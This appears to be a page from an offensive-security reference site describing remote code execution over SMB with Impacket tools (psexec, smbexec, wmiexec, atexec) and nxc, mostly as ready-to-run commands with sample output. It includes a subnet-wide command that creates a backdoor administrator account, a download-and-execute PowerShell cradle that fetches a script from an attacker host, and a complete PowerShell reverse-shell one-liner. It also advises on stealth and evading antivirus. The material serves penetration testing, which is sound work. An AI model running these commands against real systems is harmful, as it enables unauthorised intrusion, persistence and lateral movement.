# SMB Remote Code Execution – psexec smbexec wmiexec

> Exploit SMB with psexec, smbexec, and wmiexec for remote code execution. Covers authentication methods, shell spawning, and lateral movement techniques.

- **URL:** https://hackindex.io/services/smb/exploitation/remote-code-execution
- **Path:** SMB > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/smb/exploitation.md)
- **Published:** 2026-03-11
- **Updated:** 2026-08-11

With valid credentials or hashes and local admin access on the target, several Impacket tools give you remote code execution over SMB. Each uses a different mechanism with different stealth and reliability trade-offs. Pick based on what is available and how much noise you can afford.

For Pass-the-Hash specifics see [https://hackindex.io/services/smb/exploitation/pass-the-hash](https://hackindex.io/services/smb/exploitation/pass-the-hash). The commands here apply equally to plaintext passwords and hashes.

## impacket-psexec

psexec uploads a renamed binary to ADMIN$, creates a service to execute it, and drops you into a SYSTEM shell. It is the most reliable but the noisiest: it writes to disk and creates a service entry.

```bash
impacket-psexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP
```

With a hash:

```bash
impacket-psexec $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH
# [*] Requesting shares on 10.10.10.10.....
# [*] Found writable share ADMIN$
# [*] Uploading file XkTqbCpL.exe
# [*] Opening SVCManager on 10.10.10.10.....
# [*] Creating service zqJX on 10.10.10.10.....
# [*] Starting service zqJX.....
# Microsoft Windows [Version 10.0.17763.2114]
# (c) 2018 Microsoft Corporation. All rights reserved.
#
# C:\Windows\system32>whoami
# nt authority\system
```

Requires ADMIN$ share access and the ability to create services.

## impacket-smbexec

smbexec executes commands by creating a temporary service that runs each command via `cmd.exe /Q /c` and redirects output to a share. No binary is uploaded to disk. Slower than psexec but leaves less on the filesystem.

```bash
impacket-smbexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP
```

With a hash:

```bash
impacket-smbexec $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH
```

Runs as SYSTEM. Each command creates and deletes a service: this is still visible in Windows event logs.

## impacket-wmiexec

wmiexec uses WMI over a DCOM/RPC connection tunnelled through SMB named pipes. No service is created. Output is written to a temporary file on a share and read back. The most operationally quiet of the three.

```bash
impacket-wmiexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP
```

With a hash:

```bash
impacket-wmiexec $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH
```

Runs as the authenticated user, not SYSTEM. If you need SYSTEM use psexec or smbexec.

Execute a single command without opening an interactive shell:

```bash
impacket-wmiexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP "whoami /all"
```

## impacket-atexec

atexec schedules a task via the Task Scheduler service over SMB, executes a single command, and retrieves output. Useful when psexec and wmiexec are blocked but the scheduler is accessible.

```bash
impacket-atexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP "whoami"
```

With a hash:

```bash
impacket-atexec $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH "whoami"
```

Output is returned as a string, not an interactive shell. Use it for one-shot commands: drop a payload or add a user, then connect back via another method.

## nxc for Bulk Execution

nxc wraps wmiexec-style execution for running commands across multiple hosts:

```bash
nxc smb $TARGET_SUBNET/24 -u $USER -p $PASSWORD -d $DOMAIN -x "net user backdoor Password123! /add && net localgroup administrators backdoor /add"
```

PowerShell execution with `-X`:

```bash
nxc smb $TARGET_SUBNET/24 -u $USER -p $PASSWORD -d $DOMAIN -X "IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/shell.ps1')"
```

## Getting a Reverse Shell

From any of the interactive shells above, drop a reverse shell. Start a listener first:

```bash
nc -lvnp $LPORT
```

From the SMB shell, use PowerShell to call back:

```bash
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

## Choosing the Right SMB Remote Code Execution Tool

Quick comparison:

- **psexec**: SYSTEM shell, writes binary to ADMIN$, noisiest
- **smbexec**: SYSTEM shell, no binary on disk, temporary service
- **wmiexec**: runs as user, no service created, quietest
- **atexec**: single command via Task Scheduler, no shell
- **nxc**: bulk execution across subnets, wraps wmiexec

Use psexec when you need SYSTEM and reliability matters more than stealth. Use wmiexec as the default: it is quieter and runs as the target user which is sometimes needed for accessing user-context resources. Use smbexec when psexec fails due to AV blocking the binary drop. Use atexec for single-command execution when everything else is blocked.

## References

- [Impacket](https://github.com/fortra/impacket) - Fortra psexec.py, smbexec.py, wmiexec.py, and atexec.py source and documentation.